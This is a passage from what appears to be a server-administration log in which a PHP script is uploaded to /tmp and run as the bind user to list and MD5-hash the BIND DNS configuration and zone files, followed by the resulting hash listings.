MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:43:14: Establishing a connection
2026-04-24 11:43:14: 

PUT: /tmp/pkp817894

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:43:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp817894; rm /tmp/pkp817894'

2026-04-24 11:43:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:44:22: Establishing a connection
2026-04-24 11:44:22: 

PUT: /tmp/pkp404701

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
